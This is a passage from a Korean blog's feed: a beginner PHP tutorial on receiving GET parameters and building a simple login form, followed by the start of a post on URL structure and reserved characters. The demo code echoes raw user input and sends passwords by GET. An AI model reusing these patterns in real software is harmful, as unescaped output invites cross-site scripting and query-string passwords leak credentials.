	
	echo &quot;val1 : {$val1}&amp;lt;br1&amp;gt;&quot;;
	echo &quot;val2 : {$val2}&amp;lt;br1&amp;gt;&quot;;
	echo &quot;val3 : {$val3}&amp;lt;br1&amp;gt;&quot;;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$_GET을 사용하여 GET 메소드로 사용자 입력값을 받는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;val1이라는 사용자 입력값을 GET 메소드로 받아서 val1 변수에 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;val이라는 사용자 입력값을&amp;nbsp; 받아서 각 val 변수에서 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;echo 함수를 사용하여 val1 : 사용자 입력값 형태로 출력한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;br&amp;gt; 태그는 \n 개행 문자를 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 저장 후 127.0.0.1/example/test.php 를 주소창에 입력하여 결과값을 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;localhost 와 127.0.0.1은 동일하므로 둘중 아무거나 입력한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;703&quot; data-origin-height=&quot;370&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bagKV3/btsKyhQ91Pw/rXeZtmcQx1ns6WrnecpAu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bagKV3/btsKyhQ91Pw/rXeZtmcQx1ns6WrnecpAu0/img.png&quot; data-alt=&quot;그림13 - test.php 접속&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bagKV3/btsKyhQ91Pw/rXeZtmcQx1ns6WrnecpAu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbagKV3%2FbtsKyhQ91Pw%2FrXeZtmcQx1ns6WrnecpAu0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;703&quot; height=&quot;370&quot; data-origin-width=&quot;703&quot; data-origin-height=&quot;370&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림13 - test.php 접속&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그림13과 같이 val 변수에 값이 삽입되지 않아 이런 에러가 발생한것으로 판단된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http://127.0.0.1/example/test.php?val1=test1&amp;amp;val2=test2&amp;amp;val3=test3 를 주소창에 입력하여 접속한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;590&quot; data-origin-height=&quot;239&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dcMLWD/btsKyJGCRuv/UxXjoxdAirQ1fSSC9ETUm1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dcMLWD/btsKyJGCRuv/UxXjoxdAirQ1fSSC9ETUm1/img.png&quot; data-alt=&quot;그림14 - val 변수값 입력 후 test.php 접속&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dcMLWD/btsKyJGCRuv/UxXjoxdAirQ1fSSC9ETUm1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdcMLWD%2FbtsKyJGCRuv%2FUxXjoxdAirQ1fSSC9ETUm1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;590&quot; height=&quot;239&quot; data-origin-width=&quot;590&quot; data-origin-height=&quot;239&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림14 - val 변수값 입력 후 test.php 접속&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그림14와 같이 각 val 변수에 입력했던 test 값이 출력되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;?는 파라미터 시작,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;=는 파라미터 값 대입,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;amp;는 다음 파라미터 식별자를 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL 예약문자에 대한 설명은&amp;nbsp;&lt;a href=&quot;https://it-log.tistory.com/193&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;여기&lt;/a&gt;를 참고한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음은 로그인 페이지를 작성 후 서버로 값을 전달해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;108&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uZNZR/btsKzxLZjQX/fzEqWG0v0MP2fI4yqykKi0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uZNZR/btsKzxLZjQX/fzEqWG0v0MP2fI4yqykKi0/img.png&quot; data-alt=&quot;그림15 - 폴더에 index.php와 loginAction.php 만들기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uZNZR/btsKzxLZjQX/fzEqWG0v0MP2fI4yqykKi0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuZNZR%2FbtsKzxLZjQX%2FfzEqWG0v0MP2fI4yqykKi0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;642&quot; height=&quot;108&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;108&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림15 - 폴더에 index.php와 loginAction.php 만들기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;index.php와 loginAction.php 파일을 생성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;index.php는 로그인 페이지 파일이며, loginAction.php는 로그인 한 데이터를 받아서 출력해주는 파일이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 시 입력한 데이터가 서버에 어떻게 전달되는지 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 코드를 index.php에 작성한다.&lt;/p&gt;
&lt;pre id=&quot;code_1730892635759&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;form action=&quot;loginAction.php&quot; method=&quot;GET&quot;&amp;gt;
ID : &amp;lt;input type=&quot;text&quot; name=&quot;id&quot;&amp;gt;&amp;lt;br&amp;gt;
PW : &amp;lt;input type=&quot;password&quot; name=&quot;pw&quot;&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;input type=&quot;submit&quot; value=&quot;LOGIN&quot;&amp;gt;
&amp;lt;/form&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;action은 데이터를 어디로 보내느냐(전송대상)를 의미하며, loginAction.php 파일을 지정해준다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;method는 데이터 전송 메소드를 의미하며, GET으로 설정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 코드를 loginAction.php에 작성한다.&lt;/p&gt;
&lt;pre id=&quot;code_1730892654767&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
	$id = $_GET[&quot;id&quot;];
	$pw = $_GET[&quot;pw&quot;];
	
	echo &quot;ID : {$id}&amp;lt;br&amp;gt;&quot;;
	echo &quot;PW : {$pw}&amp;lt;br&amp;gt;&quot;;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;id 변수에 GET으로 받아온 id 값을 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pw 변수에 GET으로 받아온 pw 값을 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;echo 함수를 사용하여 입력된 ID와 PW 값을 출력해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http://127.0.0.1/example/ 입력하여 접속한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;index.php는 기본페이지로 따로 index.php를 입력하지 않아도 자동으로 접속된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;379&quot; data-origin-height=&quot;175&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/do0VK2/btsKyetb8rr/bRCVNPWBoxpQ2MNNEN2jrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/do0VK2/btsKyetb8rr/bRCVNPWBoxpQ2MNNEN2jrk/img.png&quot; data-alt=&quot;그림15 - index.php 페이지&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/do0VK2/btsKyetb8rr/bRCVNPWBoxpQ2MNNEN2jrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdo0VK2%2FbtsKyetb8rr%2FbRCVNPWBoxpQ2MNNEN2jrk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;379&quot; height=&quot;175&quot; data-origin-width=&quot;379&quot; data-origin-height=&quot;175&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림15 - index.php 페이지&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ID와 PW에 값을 입력 후 LOGIN 버튼을 클릭한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;173&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxmZP3/btsKzHuaXvY/OnJzvWEb2f5AiZ55ibM6pk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxmZP3/btsKzHuaXvY/OnJzvWEb2f5AiZ55ibM6pk/img.png&quot; data-alt=&quot;그림16- loginAction.php 페이지&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxmZP3/btsKzHuaXvY/OnJzvWEb2f5AiZ55ibM6pk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbxmZP3%2FbtsKzHuaXvY%2FOnJzvWEb2f5AiZ55ibM6pk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;620&quot; height=&quot;173&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;173&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림16- loginAction.php 페이지&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ID와 PW에 입력한 값이 출력되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL 확인 시 test+%26%23 으로 값이 변경되어 있는 것을 확인할 수 있는데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이는 브라우저에서 서버로 데이터를 전송할 때 입력된 데이터를 인코딩하여 전송하는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공백 &amp;rarr; +, %20 (둘중에 하나로 표시됨)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;amp; &amp;rarr; %26&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;# &amp;rarr; %23&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>웹 해킹/웹 기초 지식</category>
      <category>APM SETUP</category>
      <category>XAMPP</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/194</guid>
      <comments>https://it-log.tistory.com/194#entry194comment</comments>
      <pubDate>Thu, 7 Nov 2024 22:00:22 +0900</pubDate>
    </item>
    <item>
      <title>자원을 지정하는 URL</title>
      <link>https://it-log.tistory.com/193</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;URL 개념&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL(Uniform Resource Locator) = 통합 자원 지시자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인터넷의 리소스를 가리키는 표준 명칭으로 &lt;b&gt;서버의 자원을 요청할 때 사용&lt;/b&gt;된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL로 인터넷 상의 모든 리소스를 요청할 수 있으며, 우리가 흔히 알고 있는 HTTP 뿐만 아니라 FTP, SMTP 관련된 자원 요청도 가능하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;529&quot; data-origin-height=&quot;408&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLbIjR/btsKwBOrR3b/H3fNcd7cXTuh0eK7VTrmO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLbIjR/btsKwBOrR3b/H3fNcd7cXTuh0eK7VTrmO0/img.png&quot; data-alt=&quot;그림1 - URL 사용한 클라이언트/서버 통신&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLbIjR/btsKwBOrR3b/H3fNcd7cXTuh0eK7VTrmO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLbIjR%2FbtsKwBOrR3b%2FH3fNcd7cXTuh0eK7VTrmO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;529&quot; height=&quot;408&quot; data-origin-width=&quot;529&quot; data-origin-height=&quot;408&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1 - URL 사용한 클라이언트/서버 통신&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;동작 원리(1)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL로 자원 요청 시 동작 원리는 아래와 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;473&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZGDQ1/btsKwydgrGP/PuMl3k97UnujbOBXXcbmcK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZGDQ1/btsKwydgrGP/PuMl3k97UnujbOBXXcbmcK/img.png&quot; data-alt=&quot;그림2 - logo.png 파일 요청&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZGDQ1/btsKwydgrGP/PuMl3k97UnujbOBXXcbmcK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZGDQ1%2FbtsKwydgrGP%2FPuMl3k97UnujbOBXXcbmcK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;929&quot; height=&quot;473&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;473&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림2 - logo.png 파일 요청&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 클라이언트에서 URL로 자원 요청 - HTTP Request&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 웹 서버에서 URL에 해당하는 자원을 Body 에 담아서 반환 - HTTP Response&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;URL 구조 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;886&quot; data-origin-height=&quot;117&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bz3kli/btsKwtwnqRB/cvkMt2Fu2lLN3QWE3lFnD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bz3kli/btsKwtwnqRB/cvkMt2Fu2lLN3QWE3lFnD0/img.png&quot; data-alt=&quot;그림3 - URL 구조 분석&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bz3kli/btsKwtwnqRB/cvkMt2Fu2lLN3QWE3lFnD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbz3kli%2FbtsKwtwnqRB%2FcvkMt2Fu2lLN3QWE3lFnD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;886&quot; height=&quot;117&quot; data-origin-width=&quot;886&quot; data-origin-height=&quot;117&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림3 - URL 구조 분석&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[01] 스키마&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사용하게 될 프로토콜이 명시되어 있는 부분으로 위의 URL은 http 프로토콜을 통해 자원을 요청한다. 그 외에도 https, ftp, file 등이 있다. 해당 부분은 알파벳으로 시작해야 되며 대소문자를 가리지 않는다. 프로토콜 뒤에 콜론 '&lt;b&gt;:&lt;/b&gt;'이 붙는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[02] 호스트(서버 주소)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 자원을 가진 컴퓨터의 위치가 명시되어 있다. 웹 브라우저에서는 이를 참조하여 IP주소를 알아낸다. 뒤에 포트번호가 원래는 표기가 되어 있어야하나, HTTP는 기본 80포트를 사용하며 생략이 가능하다. 따라서 생략이 되어 있는 경우는 80포트를 사용한다고 볼 수 있다. 80포트가 아닌 다른 포트번호를 사용할 경우 표시를 해줘야 한다.(ex. 8080)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[03] 자원이 존재하는 디렉터리&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 이보다 상위 디렉터리에 자원이 존재할 경우 디렉터리는 표기되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[04] 요청할 자원의 이름&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;동작 원리(2)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자원을 지정하지 않을 경우 서버의 어떤 자원이 호출될까?&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;793&quot; data-origin-height=&quot;479&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5HIZh/btsKvnRv1cF/PiMwLcEOkyzRTY1OLpyjnK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5HIZh/btsKvnRv1cF/PiMwLcEOkyzRTY1OLpyjnK/img.png&quot; data-alt=&quot;그림4 - index.jsp 반환&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5HIZh/btsKvnRv1cF/PiMwLcEOkyzRTY1OLpyjnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5HIZh%2FbtsKvnRv1cF%2FPiMwLcEOkyzRTY1OLpyjnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;793&quot; height=&quot;479&quot; data-origin-width=&quot;793&quot; data-origin-height=&quot;479&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림4 - index.jsp 반환&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네이버 접속 시 naver.com으로 요청하게 된다.&amp;nbsp;이때 네이버의 웹 서버 or WAS에서는 사전에 설정해둔 기본 페이지(index 페이지)를 반환하게 된다. IIS의 경우 default 페이지도 호출된다. - 설정을 통해서 변경 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt; 도메인만 명시되어 있고, 자원은 명시되지 않는 경우 기본 페이지(index 페이지)를 호출한다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;URL 예약 문자(메타 문자)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL 상에서 특정 기능을 하는 문자로 웹 클라이언트와 서버 간에 서로 예약이 되어 있는 문자이다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 92.7907%; height: 105px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 27.0117%; text-align: center; height: 20px;&quot;&gt;&lt;b&gt;문자&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 68.1291%; text-align: center; height: 20px;&quot;&gt;&lt;b&gt;인코딩&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 27.0117%; text-align: center; height: 17px;&quot;&gt;&lt;b&gt;?&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 68.1291%; text-align: left; height: 17px;&quot;&gt;&lt;b&gt;파라미터가 시작된다는 것을 알려줌 (자원과 사용자 입력값 구분의 기준)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 27.0117%; text-align: center; height: 17px;&quot;&gt;&lt;b&gt;=&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 68.1291%; text-align: left; height: 17px;&quot;&gt;&lt;b&gt;파라미터 값 대입&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
